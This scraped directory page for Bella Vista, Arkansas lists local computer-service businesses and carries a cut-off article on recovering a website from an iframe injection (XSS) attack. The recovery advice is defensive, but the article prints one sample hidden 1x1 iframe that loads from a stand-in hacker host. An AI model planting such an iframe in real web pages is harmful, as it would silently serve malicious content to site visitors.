IFrame Injection Attack: Cross Site Scripting (XSS) Tutorials Bella Vista AR
IFrame Injection Attack is considered one of the most common and most basic cross site scripting (XSS) attacks. If you have recently got an iframe attack to your website, do not panic. Here are a few things that you can do immediately after you discovered that your website has been a victim of an iframe injection attack.
Need A Geek
(479) 464-9109
Bentonville, AR
Need A Geek
(479) 464-9109
Bentonville, AR 72712
Services
Computers and Equipment Repair and Maintenance, Internet Security Services, Computer Upgrade Services, Computer Network Hardware
Data Provided by:
RoosterWeb
(479) 431-4477
1910 S F St
Rogers, AR
RoosterWeb
(479) 431-4477
1910 S F St
Rogers, AR 72758
Services
Computers and Equipment Repair and Maintenance, Computer and Equipment Dealers, Computer Supplies Parts and Accessories, Computer Networking Installation, Computer Hardware and Supplies
Payment Options
MasterCard, VISA, Debit Cards, Personal Checks, Money Orders
Data Provided by:
Geek Squad
(866) 338-0243
2200 S. 45TH STREET
ROGERS, AR
Geek Squad
(866) 338-0243
2200 S. 45TH STREET
ROGERS, AR 72758
Data Provided by:
Edgewater Technology Inc
(501) 227-0080
116 Ottenheimer Street
Little Rock, AR
(501) 227-0080
116 Ottenheimer Street
Little Rock, AR 72201
Services
Computer Consultants, Computer Systems Consultants and Designers
Data Provided by:
A Touch of the SOUTH
(479) 238-3099
Siloam Springs, AR
A Touch of the SOUTH
(479) 238-3099
Siloam Springs, AR 72761
Services
Landscape Designers and Consultants, Computer Consultants, Network Consultants, Computer Systems Consultants and Designers, Information Systems Consultants
Payment Options
Cash Only, Financing Available, Credit Terms Available, Personal Checks
Data Provided by:
Cisco Systems
(479) 619-2000
5417 Pinnacle Point Drive # 400
Rogers, AR
(479) 619-2000
5417 Pinnacle Point Drive # 400
Rogers, AR 72758
Services
Personal Computer Peripheral Equipment, Computer Networks, Data Communications Service and Repair
Data Provided by:
Four Corners Technology
(479) 621-5220
2896 W Walnut Street # B
Rogers, AR
(479) 621-5220
2896 W Walnut Street # B
Rogers, AR 72756
Services
Computers and Equipment Repair and Maintenance, Computer Consultants, Computer and Equipment Dealers, Computer Networks, Consumer Electronics Stores
Payment Options
MasterCard, Discover, VISA
Data Provided by:
Phoenix ITS
(870) 535-3737
720 S Main St.
Pine Bluff, AR
(870) 535-3737
720 S Main St.
Pine Bluff, AR 71601
Services
Information Technology Services, Computers and Equipment Repair and Maintenance, Computer and Equipment Dealers, Web Site Design, Computer and Software Stores
Hours
Mon-Fri: 08:00 AM-05:00 PM
Data Provided by:
Baxter County Computer Services
(870) 499-5895
2425 Norfork River Road
Norfork, AR
Baxter County Computer Services
(870) 499-5895
2425 Norfork River Road
Norfork, AR 72658
Services
Computer Cable and Wire Installation, Computer Networking Installation, Computer Hardware and Supplies, Computer Telephony, Voice Mail Equipment and Systems
Data Provided by:
KAL-Tech, LLC
(501) 428-9198
15 Batson Rd
Greenbrier, AR
(501) 428-9198
15 Batson Rd
Greenbrier, AR 72058
Services
Computers and Equipment Repair and Maintenance, Computer Networking Installation, Network Solutions, Web Site Design
Hours
Mon 12:00 AM-12:00 AM
Tue 12:00 AM-12:00 AM
Wed 12:00 AM-12:00 AM,
Payment Options
Personal Checks, Money Orders, Travelers Checks, Credit Terms Available,
Data Provided by:
Data Provided by:
Provided By: 
| IFrame Injection Attack is most common and most basic cross site scripting (XSS) attacks | Written by Vijay Patil
IFrame Injection Attack is considered one of the most common and most basic cross site scripting (XSS) attacks. If you have recently got an iframe attack to your website, do not panic. Here are a few things that you can do immediately after you discovered that your website has been a victim of an iframe injection attack.<iframe src="http://www.example-hacker-site.com/inject/?s=some-parameters" width="1" height="1" style="visibility: hidden"></iframe>
An example of a malicious IFRAME injection code
1. Take your website down for a certain periodIt is recommended to take the website down as you do not want to be distributing malware or virus from your website to your visitors. The website should be offline while you are recovering the site.
2. Change all the passwordsAlthough this may seem like a simple step, many people, including myself, often fail to change all the passwords immediately after an attack has been discovered. You need to change all the passwords associated with the website; which include ftp passwords, ssh passwords, account passwords, database passwords, admin passwords and so on.
3. Take a copy of the affected website for further analysisYou may want to do a further analysis on the attack and might need to refer to the exact injection source code in the future. Take a copy of the affected website in a compressed format, eg: zip or gzip and store it in an quarantine area for later reference. Note that it is not advisable to keep the affected files on the server.
4. Replace the entire site with a clean backup copyDo not rely on your hosting provider for a backup copy of your site. Many hosting providers say they do an automatic backup every night, however, it is more reliable if you have other backup solutions for your website.
5. Test the website and reopenThis is to make sure that the website is reverted to its clean, original version. Once you are happy with the result, you can reopen the website to the public.
6. Analyse how the attack was originatedIn order to ensure that the same attack does not happen again, you will need to do a full analysis of the attack and how it was originated. Was it because of a security hole in your application? Was it caused by a weak file permission? Or is your server affected with some virus that injects these code into your website at regular interval? You will need to understand how it happens in order to prevent it in the future. And when necessary, obtain an expert advice.
7. Perform appropriate security measures based on the analysisAlthough you may have recovered your website, it does not mean your website will not be attacked again. If the same security hole still exists, it is probably very likely that the website will be attac... | |
